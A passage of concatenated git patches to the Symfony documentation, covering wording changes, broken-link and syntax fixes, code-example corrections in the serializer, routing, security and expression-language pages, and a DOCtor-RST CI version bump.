+.. note:: + + When a controller returns a non-``Response`` object, a ``kernel.view`` + listener is expected to transform it into a ``Response`` object; + otherwise an exception is thrown. + + See :ref:`kernel.view event <component-http-kernel-kernel-view>` for details on the ``kernel.view`` event. + Accessing Configuration Values ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From d019fc476beba1749f2526688937b4fca63dd852 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 26 Nov 2024 17:53:04 +0100 Subject: [PATCH 520/615] Reword --- controller.rst | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/controller.rst b/controller.rst index 40e47dbbedf..01bf572d9a2 100644 --- a/controller.rst +++ b/controller.rst @@ -447,7 +447,7 @@ and provides methods for getting and setting response headers. The header names normalized. As a result, the name ``Content-Type`` is equivalent to the name ``content-type`` or ``content_type``. -In Symfony, a controller usually returns a ``Response`` object:: +In Symfony, a controller is required to return a ``Response`` object:: use Symfony\Component\HttpFoundation\Response; @@ -465,11 +465,11 @@ response types. Some of these are mentioned below. To learn more about the .. note:: - When a controller returns a non-``Response`` object, a ``kernel.view`` - listener is expected to transform it into a ``Response`` object; - otherwise an exception is thrown. - - See :ref:`kernel.view event <component-http-kernel-kernel-view>` for details on the ``kernel.view`` event. + Technically, a controller can return a value other than a ``Response``. + However, your application is responsible for transforming that value into a + ``Response`` object. This is handled using :doc:`events </event_dispatcher>` + (specifically the :ref:`kernel.view event <component-http-kernel-kernel-view>`), + an advanced feature you'll learn about later. Accessing Configuration Values ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From ee3ec5faf3355320d68ca53180a108b30804b34c Mon Sep 17 00:00:00 2001 From: Oskar Stark <oskarstark@googlemail.com> Date: Tue, 26 Nov 2024 21:03:03 +0100 Subject: [PATCH 521/615] Update DOCtor-RST to 1.63.0 --- .doctor-rst.yaml | 1 + .github/workflows/ci.yaml | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml index 4f07d84cd25..c7a17edd06c 100644 --- a/.doctor-rst.yaml +++ b/.doctor-rst.yaml @@ -50,6 +50,7 @@ rules: no_namespace_after_use_statements: ~ no_php_open_tag_in_code_block_php_directive: ~ no_space_before_self_xml_closing_tag: ~ + non_static_phpunit_assertions: ~ only_backslashes_in_namespace_in_php_code_block: ~ only_backslashes_in_use_statements_in_php_code_block: ~ ordered_use_statements: ~ diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml index 2d35b7df806..4d67a5c084c 100644 --- a/.github/workflows/ci.yaml +++ b/.github/workflows/ci.yaml @@ -73,7 +73,7 @@ jobs: key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }} - name: "Run DOCtor-RST" - uses: docker://oskarstark/doctor-rst:1.62.3 + uses: docker://oskarstark/doctor-rst:1.63.0 with: args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache From 1c2664fc6af40ec895cfc9192b368faa767b0bdb Mon Sep 17 00:00:00 2001 From: Ejamine <101939470+Ejamine@users.noreply.github.com> Date: Tue, 26 Nov 2024 22:35:35 +0100 Subject: [PATCH 522/615] Update http_client.rst Testing Using HAR Files/ExternalArticleServiceTest should extend from Symfony\Bundle\FrameworkBundle\Test\KernelTestCase to access the container parameter. --- http_client.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/http_client.rst b/http_client.rst index 4a8829a52d5..9e9a74b973b 100644 --- a/http_client.rst +++ b/http_client.rst @@ -2248,11 +2248,11 @@ First, use a browser or HTTP client to perform the HTTP request(s) you want to test. Then, save that information as a ``.har`` file somewhere in your application:: // ExternalArticleServiceTest.php - use PHPUnit\Framework\TestCase; + use Symfony\Bundle\FrameworkBundle\Test\KernelTestCase; use Symfony\Component\HttpClient\MockHttpClient; use Symfony\Component\HttpClient\Response\MockResponse; - final class ExternalArticleServiceTest extends TestCase + final class ExternalArticleServiceTest extends KernelTestCase { public function testSubmitData(): void { From da1caa21faf2b481d9d5c60932390c74629c86f1 Mon Sep 17 00:00:00 2001 From: Alessandro Podo <47177650+alessandro-podo@users.noreply.github.com> Date: Tue, 26 Nov 2024 23:12:38 +0100 Subject: [PATCH 523/615] The wrong type is used for autowiring --- security/impersonating_user.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst index f74528cfb89..8317b9c30bd 100644 --- a/security/impersonating_user.rst +++ b/security/impersonating_user.rst @@ -317,7 +317,7 @@ logic you want:: { private $accessDecisionManager; - public function __construct(AccessDecisionManager $accessDecisionManager) + public function __construct(AccessDecisionManagerInterface $accessDecisionManager) { $this->accessDecisionManager = $accessDecisionManager; } From d6d8bb8f5e60eb32ecf8d1ab13478715c8b4cdf5 Mon Sep 17 00:00:00 2001 From: Fabien Potencier <fabien@potencier.org> Date: Tue, 26 Nov 2024 08:49:04 +0100 Subject: [PATCH 524/615] Add a note about updating phpdoc in a patch release --- contributing/code/maintenance.rst | 3 +++ 1 file changed, 3 insertions(+) diff --git a/contributing/code/maintenance.rst b/contributing/code/maintenance.rst index 04740ce8c6e..27e4fd73ea0 100644 --- a/contributing/code/maintenance.rst +++ b/contributing/code/maintenance.rst @@ -67,6 +67,9 @@ issue): * **Adding new deprecations**: After a version reaches stability, new deprecations cannot be added anymore. +* **Adding or updating annotations**: Adding or updating annotations (PHPDoc + annotations for instance) is not allowed; fixing them might be accepted. + Anything not explicitly listed above should be done on the next minor or major version instead. For instance, the following changes are never accepted in a patch version: From 0b5820fa2a488d35fa62824e01545ce506e7f9bc Mon Sep 17 00:00:00 2001 From: Oskar Stark <oskarstark@googlemail.com> Date: Wed, 27 Nov 2024 12:02:26 +0100 Subject: [PATCH 525/615] Rename variable to stay consistent --- routing.rst | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/routing.rst b/routing.rst index 4b4f4f9e871..9828835e7c7 100644 --- a/routing.rst +++ b/routing.rst @@ -2671,11 +2671,11 @@ the :class:`Symfony\\Component\\Routing\\Generator\\UrlGeneratorInterface` class class SomeService { - private $router; + private $urlGenerator; - public function __construct(UrlGeneratorInterface $router) + public function __construct(UrlGeneratorInterface $urlGenerator) { - $this->router = $router; + $this->urlGenerator = $urlGenerator; } public function someMethod() @@ -2683,20 +2683,20 @@ the :class:`Symfony\\Component\\Routing\\Generator\\UrlGeneratorInterface` class // ... // generate a URL with no route arguments - $signUpPage = $this->router->generate('sign_up'); + $signUpPage = $this->urlGenerator->generate('sign_up'); // generate a URL with route arguments - $userProfilePage = $this->router->generate('user_profile', [ + $userProfilePage = $this->urlGenerator->generate('user_profile', [ 'username' => $user->getUserIdentifier(), ]); // generated URLs are "absolute paths" by default. Pass a third optional // argument to generate different URLs (e.g. an "absolute URL") - $signUpPage = $this->router->generate('sign_up', [], UrlGeneratorInterface::ABSOLUTE_URL); + $signUpPage = $this->urlGenerator->generate('sign_up', [], UrlGeneratorInterface::ABSOLUTE_URL); // when a route is localized, Symfony uses by default the current request locale // pass a different '_locale' value if you want to set the locale explicitly - $signUpPageInDutch = $this->router->generate('sign_up', ['_locale' => 'nl']); + $signUpPageInDutch = $this->urlGenerator->generate('sign_up', ['_locale' => 'nl']); } } From f6a61f9d36d407c591227b1709e04f313e7fcf34 Mon Sep 17 00:00:00 2001 From: Wouter de Jong <wouter@wouterj.nl> Date: Sat, 30 Nov 2024 16:39:05 +0100 Subject: [PATCH 526/615] Fix minor syntax issues --- configuration.rst | 2 +- messenger.rst | 2 +- reference/attributes.rst | 2 +- reference/configuration/framework.rst | 2 - reference/constraints/Callback.rst | 6 +- reference/constraints/_payload-option.rst.inc | 2 - reference/dic_tags.rst | 2 +- service_container/service_decoration.rst | 74 +++++++++---------- 8 files changed, 45 insertions(+), 47 deletions(-) diff --git a/configuration.rst b/configuration.rst index 2a5303741c1..3ddcf453dd7 100644 --- a/configuration.rst +++ b/configuration.rst @@ -391,7 +391,7 @@ a new ``locale`` parameter is added to the ``config/services.yaml`` file). By convention, parameters whose names start with a dot ``.`` (for example, ``.mailer.transport``), are available only during the container compilation. - They are useful when working with :ref:`Compiler Passes </service_container/compiler_passes>` + They are useful when working with :doc:`Compiler Passes </service_container/compiler_passes>` to declare some temporary parameters that won't be available later in the application. .. versionadded:: 6.3 diff --git a/messenger.rst b/messenger.rst index e61a13e1c86..87102811316 100644 --- a/messenger.rst +++ b/messenger.rst @@ -919,7 +919,7 @@ Rate Limited Transport The ``rate_limiter`` option was introduced in Symfony 6.2. Sometimes you might need to rate limit your message worker. You can configure a -rate limiter on a transport (requires the :doc:`RateLimiter component </rate-limiter>`) +rate limiter on a transport (requires the :doc:`RateLimiter component </rate_limiter>`) by setting its ``rate_limiter`` option: .. configuration-block:: diff --git a/reference/attributes.rst b/reference/attributes.rst index feadec70d3c..9ead60b3662 100644 --- a/reference/attributes.rst +++ b/reference/attributes.rst @@ -38,7 +38,7 @@ Dependency Injection * :ref:`Autowire <autowire-attribute>` * :ref:`AutowireCallable <autowiring_closures>` * :doc:`AutowireDecorated </service_container/service_decoration>` -* :doc:`AutowireIterator <service-locator_autowire-iterator>` +* :ref:`AutowireIterator <service-locator_autowire-iterator>` * :ref:`AutowireLocator <service-locator_autowire-locator>` * :ref:`AutowireServiceClosure <autowiring_closures>` * :ref:`Exclude <service-psr4-loader>` diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst index 8e1f6af81fa..6d32065540c 100644 --- a/reference/configuration/framework.rst +++ b/reference/configuration/framework.rst @@ -236,8 +236,6 @@ The **default value** is: $request = Request::createFromGlobals(); // ... -.. _configuration-framework-http_method_override: - trust_x_sendfile_type_header ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst index 3424d47c9d3..a6944c241cf 100644 --- a/reference/constraints/Callback.rst +++ b/reference/constraints/Callback.rst @@ -271,14 +271,16 @@ callback method: * A closure. Concrete callbacks receive an :class:`Symfony\\Component\\Validator\\Context\\ExecutionContextInterface` -instance as the first argument and the :ref:`payload option <reference-constraints-payload>` +instance as the first argument and the :ref:`payload option <reference-constraints-callback-payload>` as the second argument. Static or closure callbacks receive the validated object as the first argument, the :class:`Symfony\\Component\\Validator\\Context\\ExecutionContextInterface` -instance as the second argument and the :ref:`payload option <reference-constraints-payload>` +instance as the second argument and the :ref:`payload option <reference-constraints-callback-payload>` as the third argument. .. include:: /reference/constraints/_groups-option.rst.inc +.. _reference-constraints-callback-payload: + .. include:: /reference/constraints/_payload-option.rst.inc diff --git a/reference/constraints/_payload-option.rst.inc b/reference/constraints/_payload-option.rst.inc index a76c9a4a29d..5121ba1ae51 100644 --- a/reference/constraints/_payload-option.rst.inc +++ b/reference/constraints/_payload-option.rst.inc @@ -1,5 +1,3 @@ -.. _reference-constraints-payload: - ``payload`` ~~~~~~~~~~~ diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst index cf908c4dd24..2ea62bc9def 100644 --- a/reference/dic_tags.rst +++ b/reference/dic_tags.rst @@ -335,7 +335,7 @@ controller.argument_value_resolver Value resolvers implement the :class:`Symfony\\Component\\HttpKernel\\Controller\\ValueResolverInterface` and are used to resolve argument values for controllers as described here: -:doc:`/controller/argument_value_resolver`. +:doc:`/controller/value_resolver`. .. versionadded:: 6.2 diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst index 0f75b5284c8..18bc5d4d85f 100644 --- a/service_container/service_decoration.rst +++ b/service_container/service_decoration.rst @@ -299,35 +299,35 @@ the ``decoration_priority`` option. Its value is an integer that defaults to .. configuration-block:: - .. code-block:: php-attributes + .. code-block:: php-attributes - // ... - use Symfony\Component\DependencyInjection\Attribute\AsDecorator; - use Symfony\Component\DependencyInjection\Attribute\AutowireDecorated; + // ... + use Symfony\Component\DependencyInjection\Attribute\AsDecorator; + use Symfony\Component\DependencyInjection\Attribute\AutowireDecorated; - #[AsDecorator(decorates: Foo::class, priority: 5)] - class Bar - { - public function __construct( - #[AutowireDecorated] - private $inner, - ) { - } - // ... + #[AsDecorator(decorates: Foo::class, priority: 5)] + class Bar + { + public function __construct( + #[AutowireDecorated] + private $inner, + ) { } + // ... + } - #[AsDecorator(decorates: Foo::class, priority: 1)] - class Baz - { - public function __construct( - #[AutowireDecorated] - private $inner, - ) { - } - - // ... + #[AsDecorator(decorates: Foo::class, priority: 1)] + class Baz + { + public function __construct( + #[AutowireDecorated] + private $inner, + ) { } + // ... + } + .. code-block:: yaml # config/services.yaml @@ -619,24 +619,24 @@ Three different behaviors are available: .. configuration-block:: - .. code-block:: php-attributes - - // ... - use Symfony\Component\DependencyInjection\Attribute\AsDecorator; - use Symfony\Component\DependencyInjection\Attribute\AutowireDecorated; - use Symfony\Component\DependencyInjection\ContainerInterface; + .. code-block:: php-attributes - #[AsDecorator(decorates: Mailer::class, onInvalid: ContainerInterface::IGNORE_ON_INVALID_REFERENCE)] - class Bar - { - public function __construct( - #[AutowireDecorated] private $inner, - ) { - } + // ... + use Symfony\Component\DependencyInjection\Attribute\AsDecorator; + use Symfony\Component\DependencyInjection\Attribute\AutowireDecorated; + use Symfony\Component\DependencyInjection\ContainerInterface; - // ... + #[AsDecorator(decorates: Mailer::class, onInvalid: ContainerInterface::IGNORE_ON_INVALID_REFERENCE)] + class Bar + { + public function __construct( + #[AutowireDecorated] private $inner, + ) { } + // ... + } + .. code-block:: yaml # config/services.yaml From 2ab38573bd17812d4875c4a6cb9872432a2e2fdc Mon Sep 17 00:00:00 2001 From: Javier Spagnoletti <phansys@gmail.com> Date: Fri, 29 Nov 2024 22:24:23 -0300 Subject: [PATCH 527/615] Fix reference to `vendor/` dir --- components/phpunit_bridge.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst index 69c9993e603..699901ccd18 100644 --- a/components/phpunit_bridge.rst +++ b/components/phpunit_bridge.rst @@ -253,7 +253,7 @@ deprecations but: * forget to mark appropriate tests with the ``@group legacy`` annotations. By using ``SYMFONY_DEPRECATIONS_HELPER=max[self]=0``, deprecations that are -triggered outside the ``vendors`` directory will be accounted for separately, +triggered outside the ``vendor/`` directory will be accounted for separately, while deprecations triggered from a library inside it will not (unless you reach 999999 of these), giving you the best of both worlds. From 0b521e7dcd51f9a204a6cc26f42e1ad44b758732 Mon Sep 17 00:00:00 2001 From: Alexis Lefebvre <alexislefebvre+github@gmail.com> Date: Fri, 29 Nov 2024 16:09:49 +0100 Subject: [PATCH 528/615] URLType: explain `null` value for `default_protocol` --- reference/forms/types/url.rst | 2 ++ 1 file changed, 2 insertions(+) diff --git a/reference/forms/types/url.rst b/reference/forms/types/url.rst index 5f97fcb89a4..a13f6e4567d 100644 --- a/reference/forms/types/url.rst +++ b/reference/forms/types/url.rst @@ -27,6 +27,8 @@ Field Options **type**: ``string`` **default**: ``http`` +Set the value as ``null`` to render the field as ``<input type="url"/>``. + If a value is submitted that doesn't begin with some protocol (e.g. ``http://``, ``ftp://``, etc), this protocol will be prepended to the string when the data is submitted to the form. From a798057e31c64066bc711660a77a3d84cc24119f Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 2 Dec 2024 15:51:05 +0100 Subject: [PATCH 529/615] Reword --- reference/forms/types/url.rst | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/reference/forms/types/url.rst b/reference/forms/types/url.rst index a13f6e4567d..cba961aa8b7 100644 --- a/reference/forms/types/url.rst +++ b/reference/forms/types/url.rst @@ -27,7 +27,12 @@ Field Options **type**: ``string`` **default**: ``http`` -Set the value as ``null`` to render the field as ``<input type="url"/>``. +Set this value to ``null`` to render the field using a ``<input type="url"/>``, +allowing the browser to perform local validation before submission. + +When this value is neither ``null`` nor an empty string, the form field is +rendered using a ``<input type="text"/>``. This ensures users can submit the +form field without specifying the protocol. If a value is submitted that doesn't begin with some protocol (e.g. ``http://``, ``ftp://``, etc), this protocol will be prepended to the string when From 290cfae212ebfa59444a775ab91cd63b2be87232 Mon Sep 17 00:00:00 2001 From: HypeMC <hypemc@gmail.com> Date: Wed, 4 Dec 2024 00:06:54 +0100 Subject: [PATCH 530/615] [Serializer] Minor improvements --- serializer.rst | 16 +++++++++++----- serializer/encoders.rst | 3 ++- 2 files changed, 13 insertions(+), 6 deletions(-) diff --git a/serializer.rst b/serializer.rst index 4efdbf2dd45..80d0419bd9a 100644 --- a/serializer.rst +++ b/serializer.rst @@ -958,16 +958,22 @@ parameter:: $jsonData = ...; // the serialized JSON data from the previous example $persons = $serializer->deserialize($JsonData, Person::class.'[]', 'json'); -For nested classes, you have to add a PHPDoc type to the property/setter:: +For nested classes, you have to add a PHPDoc type to the property, constructor or setter:: // src/Model/UserGroup.php namespace App\Model; class UserGroup { - private array $members; + /** + * @param Person[] $members + */ + public function __construct( + private array $members, + ) { + } - // ... + // or if you're using a setter /** * @param Person[] $members @@ -976,6 +982,8 @@ For nested classes, you have to add a PHPDoc type to the property/setter:: { $this->members = $members; } + + // ... } .. tip:: @@ -1357,8 +1365,6 @@ normalizers (in order of priority): During denormalization, it supports using the constructor as well as the discovered methods. -:ref:`serializer.encoder <reference-dic-tags-serializer-encoder>` - .. danger:: Always make sure the ``DateTimeNormalizer`` is registered when diff --git a/serializer/encoders.rst b/serializer/encoders.rst index c8bddc604ba..37f4eee5a04 100644 --- a/serializer/encoders.rst +++ b/serializer/encoders.rst @@ -311,7 +311,8 @@ as a service in your app. If you're using the that's done automatically! If you're not using :ref:`autoconfigure <services-autoconfigure>`, make sure -to register your class as a service and tag it with ``serializer.encoder``: +to register your class as a service and tag it with +:ref:`serializer.encoder <reference-dic-tags-serializer-encoder>`: .. configuration-block:: From 36326a92dfc13b91eabffd7144bf8f25519b6c7a Mon Sep 17 00:00:00 2001 From: Matthieu Lempereur <matt.lempereur@gmail.com> Date: Wed, 4 Dec 2024 10:24:01 +0100 Subject: [PATCH 531/615] fix broken links and syntax issues --- serializer.rst | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/serializer.rst b/serializer.rst index 4efdbf2dd45..cb83f3b6696 100644 --- a/serializer.rst +++ b/serializer.rst @@ -290,9 +290,9 @@ The serializer, and its normalizers and encoders, are configured through the *serializer context*. This context can be configured in multiple places: -* `Globally through the framework configuration <Configure a Default Context>`_ -* `While serializing/deserializing <Pass Context while Serializing/Deserializing>`_ -* `For a specific property <Configure Context on a Specific Property>`_ +* :ref:`Globally through the framework configuration <serializer-default-context>` +* :ref:`While serializing/deserializing <serializer-context-while-serializing-deserializing>` +* :ref:`For a specific property <serializer-using-context-builders>` You can use all three options at the same time. When the same setting is configured in multiple places, the latter in the list above will override @@ -363,6 +363,8 @@ instance to disallow extra fields while deserializing: ]; $serializer = new Serializer($normalizers, $encoders); +.. _serializer-context-while-serializing-deserializing: + Pass Context while Serializing/Deserializing ............................................ @@ -1482,7 +1484,7 @@ Debugging the Serializer .. versionadded:: 6.3 - The debug:serializer`` command was introduced in Symfony 6.3. + The ``debug:serializer`` command was introduced in Symfony 6.3. Use the ``debug:serializer`` command to dump the serializer metadata of a given class: @@ -1969,7 +1971,7 @@ these type names to the real PHP class name when deserializing: </serializer> With the discriminator map configured, the serializer can now pick the -correct class for properties typed as `InvoiceItemInterface`:: +correct class for properties typed as ``InvoiceItemInterface``:: .. configuration-block:: From 521a7289ada85df4abc002663e08f0cf100e5fdc Mon Sep 17 00:00:00 2001 From: Thomas Landauer <thomas@landauer.at> Date: Thu, 7 Nov 2024 18:11:31 +0100 Subject: [PATCH 532/615] [Mercure] Shortening the screenshot description --- mercure.rst | 13 +++---------- 1 file changed, 3 insertions(+), 10 deletions(-) diff --git a/mercure.rst b/mercure.rst index cd1fc658e63..9a11e0b8d3c 100644 --- a/mercure.rst +++ b/mercure.rst @@ -312,18 +312,12 @@ as patterns: .. tip:: - Google Chrome DevTools natively integrate a `practical UI`_ displaying in live - the received events: + Google Chrome features a practical UI to display the received events: .. image:: /_images/mercure/chrome.png :alt: The Chrome DevTools showing the EventStream tab containing information about each SSE event. - To use it: - - * open the DevTools - * select the "Network" tab - * click on the request to the Mercure hub - * click on the "EventStream" sub-tab. + In DevTools, select the "Network" tab, then click on the request to the Mercure hub, then on the "EventStream" sub-tab. Discovery --------- @@ -676,7 +670,7 @@ sent: mercure.hub.default: class: App\Tests\Functional\Stub\HubStub -As MercureBundle support multiple hubs, you may have to replace +As MercureBundle supports multiple hubs, you may have to replace the other service definitions accordingly. .. tip:: @@ -766,7 +760,6 @@ Going further .. _`JSON Web Token`: https://tools.ietf.org/html/rfc7519 .. _`example JWT`: https://jwt.io/#debugger-io?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJtZXJjdXJlIjp7InB1Ymxpc2giOlsiKiJdfX0.iHLdpAEjX4BqCsHJEegxRmO-Y6sMxXwNATrQyRNt3GY .. _`IRI`: https://tools.ietf.org/html/rfc3987 -.. _`practical UI`: https://twitter.com/ChromeDevTools/status/562324683194785792 .. _`the dedicated API Platform documentation`: https://api-platform.com/docs/core/mercure/ .. _`the online debugger`: https://uri-template-tester.mercure.rocks .. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket From 5e60b342adbb63458dc1598470924bf92ce12c67 Mon Sep 17 00:00:00 2001 From: Thomas Landauer <thomas@landauer.at> Date: Thu, 7 Nov 2024 18:57:32 +0100 Subject: [PATCH 533/615] Update mercure.rst: Deleting forgotten(?) sentence Page: https://symfony.com/doc/5.x/mercure.html#debugging Config instructions were added at https://github.com/symfony/symfony-docs/pull/12598 and later removed at https://github.com/symfony/symfony-docs/pull/15924 But I can't get the profiler to work. On which page am I supposed to open it? I guess on the one containing the JavaScript? (i.e. same page as I see the EventStrems in Chrome DevTools)? What do I have to do to get this to work? On the profiler page, the "Mercure" entry is always greyed out. --- mercure.rst | 2 -- 1 file changed, 2 deletions(-) diff --git a/mercure.rst b/mercure.rst index 9a11e0b8d3c..e05f9033876 100644 --- a/mercure.rst +++ b/mercure.rst @@ -684,8 +684,6 @@ Debugging The WebProfiler panel was introduced in MercureBundle 0.2. -Enable the panel in your configuration, as follows: - MercureBundle is shipped with a debug panel. Install the Debug pack to enable it:: From 0c9d0ac831135ab3bd6c73a32ea9f431d9e0cede Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 5 Dec 2024 16:09:21 +0100 Subject: [PATCH 534/615] [Security] Fix the namespace of a code example --- security.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/security.rst b/security.rst index 3f3fb7d87de..8661263b90d 100644 --- a/security.rst +++ b/security.rst @@ -1767,7 +1767,7 @@ You can log in a user programmatically using the ``login()`` method of the :class:`Symfony\\Bundle\\SecurityBundle\\Security` helper:: // src/Controller/SecurityController.php - namespace App\Controller\SecurityController; + namespace App\Controller; use App\Security\Authenticator\ExampleAuthenticator; use Symfony\Bundle\SecurityBundle\Security; From 5bcde9cdbd04cdef21300506c0cc5bd21c23be12 Mon Sep 17 00:00:00 2001 From: moshkov-konstantin <k.moshkov@h1.marketing> Date: Fri, 1 Nov 2024 18:33:23 +0300 Subject: [PATCH 535/615] Update asset_mapper.rst --- frontend/asset_mapper.rst | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst index ad5b78b5e13..435524a26ae 100644 --- a/frontend/asset_mapper.rst +++ b/frontend/asset_mapper.rst @@ -639,7 +639,7 @@ To make your AssetMapper-powered site fly, there are a few things you need to do. If you want to take a shortcut, you can use a service like `Cloudflare`_, which will automatically do most of these things for you: -- **Use HTTP/2**: Your web server should be running HTTP/2 (or HTTP/3) so the +- **Use HTTP/2**: Your web server should be running HTTP/2 or HTTP/3 so the browser can download assets in parallel. HTTP/2 is automatically enabled in Caddy and can be activated in Nginx and Apache. Or, proxy your site through a service like Cloudflare, which will automatically enable HTTP/2 for you. @@ -647,7 +647,6 @@ which will automatically do most of these things for you: - **Compress your assets**: Your web server should compress (e.g. using gzip) your assets (JavaScript, CSS, images) before sending them to the browser. This is automatically enabled in Caddy and can be activated in Nginx and Apache. - In Cloudflare, assets are compressed by default. - **Set long-lived cache expiry**: Your web server should set a long-lived ``Cache-Control`` HTTP header on your assets. Because the AssetMapper component includes a version From 36bef931ff4c6874687901eee70f3bb6463d49dd Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 6 Dec 2024 08:35:15 +0100 Subject: [PATCH 536/615] Revert a change --- frontend/asset_mapper.rst | 1 + 1 file changed, 1 insertion(+) diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst index 435524a26ae..ebf1e5f8304 100644 --- a/frontend/asset_mapper.rst +++ b/frontend/asset_mapper.rst @@ -647,6 +647,7 @@ which will automatically do most of these things for you: - **Compress your assets**: Your web server should compress (e.g. using gzip) your assets (JavaScript, CSS, images) before sending them to the browser. This is automatically enabled in Caddy and can be activated in Nginx and Apache. + In Cloudflare, assets are compressed by default. - **Set long-lived cache expiry**: Your web server should set a long-lived ``Cache-Control`` HTTP header on your assets. Because the AssetMapper component includes a version From a8841ee2472df97291395786dbdbf68d551db348 Mon Sep 17 00:00:00 2001 From: kl3sk <klesk44@gmail.com> Date: Mon, 28 Oct 2024 12:27:32 +0100 Subject: [PATCH 537/615] Update Expression_language: lint function The lint function doesn't return anything but exception. Second arguments with Flags example is ommitted. Update expression_language.rst Removing `var_dump`, this make no sens here. Update expression_language.rst Sync with last commits Update expression_language.rst Change comment explication for "IGNORE_*" flags --- components/expression_language.rst | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/components/expression_language.rst b/components/expression_language.rst index 785beebd9da..7dacf581b14 100644 --- a/components/expression_language.rst +++ b/components/expression_language.rst @@ -106,6 +106,10 @@ if the expression is not valid:: $expressionLanguage->lint('1 + 2', []); // doesn't throw anything + $expressionLanguage->lint('1 + a', []); + // Throw SyntaxError Exception + // "Variable "a" is not valid around position 5 for expression `1 + a`." + The behavior of these methods can be configured with some flags defined in the :class:`Symfony\\Component\\ExpressionLanguage\\Parser` class: @@ -121,8 +125,8 @@ This is how you can use these flags:: $expressionLanguage = new ExpressionLanguage(); - // this returns true because the unknown variables and functions are ignored - var_dump($expressionLanguage->lint('unknown_var + unknown_function()', Parser::IGNORE_UNKNOWN_VARIABLES | Parser::IGNORE_UNKNOWN_FUNCTIONS)); + // Does not throw a SyntaxError because the unknown variables and functions are ignored + $expressionLanguage->lint('unknown_var + unknown_function()', [], Parser::IGNORE_UNKNOWN_VARIABLES | Parser::IGNORE_UNKNOWN_FUNCTIONS); .. versionadded:: 7.1 From 694cd4c081b693324a303930241ac04beca488d1 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 6 Dec 2024 09:08:20 +0100 Subject: [PATCH 538/615] Minor tweaks --- components/expression_language.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/components/expression_language.rst b/components/expression_language.rst index 7dacf581b14..b0dd10b0f42 100644 --- a/components/expression_language.rst +++ b/components/expression_language.rst @@ -107,7 +107,7 @@ if the expression is not valid:: $expressionLanguage->lint('1 + 2', []); // doesn't throw anything $expressionLanguage->lint('1 + a', []); - // Throw SyntaxError Exception + // throws a SyntaxError exception: // "Variable "a" is not valid around position 5 for expression `1 + a`." The behavior of these methods can be configured with some flags defined in the @@ -125,7 +125,7 @@ This is how you can use these flags:: $expressionLanguage = new ExpressionLanguage(); - // Does not throw a SyntaxError because the unknown variables and functions are ignored + // does not throw a SyntaxError because the unknown variables and functions are ignored $expressionLanguage->lint('unknown_var + unknown_function()', [], Parser::IGNORE_UNKNOWN_VARIABLES | Parser::IGNORE_UNKNOWN_FUNCTIONS); .. versionadded:: 7.1 From 236e419660b3b993e44e30c6afc3e1b4138855b3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com> Date: Fri, 2 Aug 2024 20:04:34 +0200 Subject: [PATCH 539/615] [Security] Authenticator methods description --- security/custom_authenticator.rst | 27 +++++++++++++++------------ 1 file changed, 15 insertions(+), 12 deletions(-) diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst index 9bf42a8748f..8b55af36cb8 100644 --- a/security/custom_authenticator.rst +++ b/security/custom_authenticator.rst @@ -153,22 +153,25 @@ or there was something wrong (e.g. incorrect password). The authenticator can define what happens in these cases: ``onAuthenticationSuccess(Request $request, TokenInterface $token, string $firewallName): ?Response`` - If the user is authenticated, this method is called with the - authenticated ``$token``. This method can return a response (e.g. - redirect the user to some page). + If authentication is successful, this method is called with the + authenticated ``$token``. - If ``null`` is returned, the request continues like normal (i.e. the - controller matching the login route is called). This is useful for API - routes where each route is protected by an API key header. + This method can return a response (e.g. redirect the user to some page). + + If ``null`` is returned, the current request will continue (and the + user will be authenticated). This is useful for API routes where each + route is protected by an API key header. ``onAuthenticationFailure(Request $request, AuthenticationException $exception): ?Response`` - If an ``AuthenticationException`` is thrown during authentication, the - process fails and this method is called. This method can return a - response (e.g. to return a 401 Unauthorized response in API routes). + If authentication failed (e. g. wrong username password), this method + is called with the ``AuthenticationException`` thrown. + + This method can return a response (e.g. send a 401 Unauthorized in API + routes). - If ``null`` is returned, the request continues like normal. This is - useful for e.g. login forms, where the login controller is run again - with the login errors. + If ``null`` is returned, the request continues (but the user will **not** + be authenticated). This is useful for login forms, where the login + controller is run again with the login errors. If you're 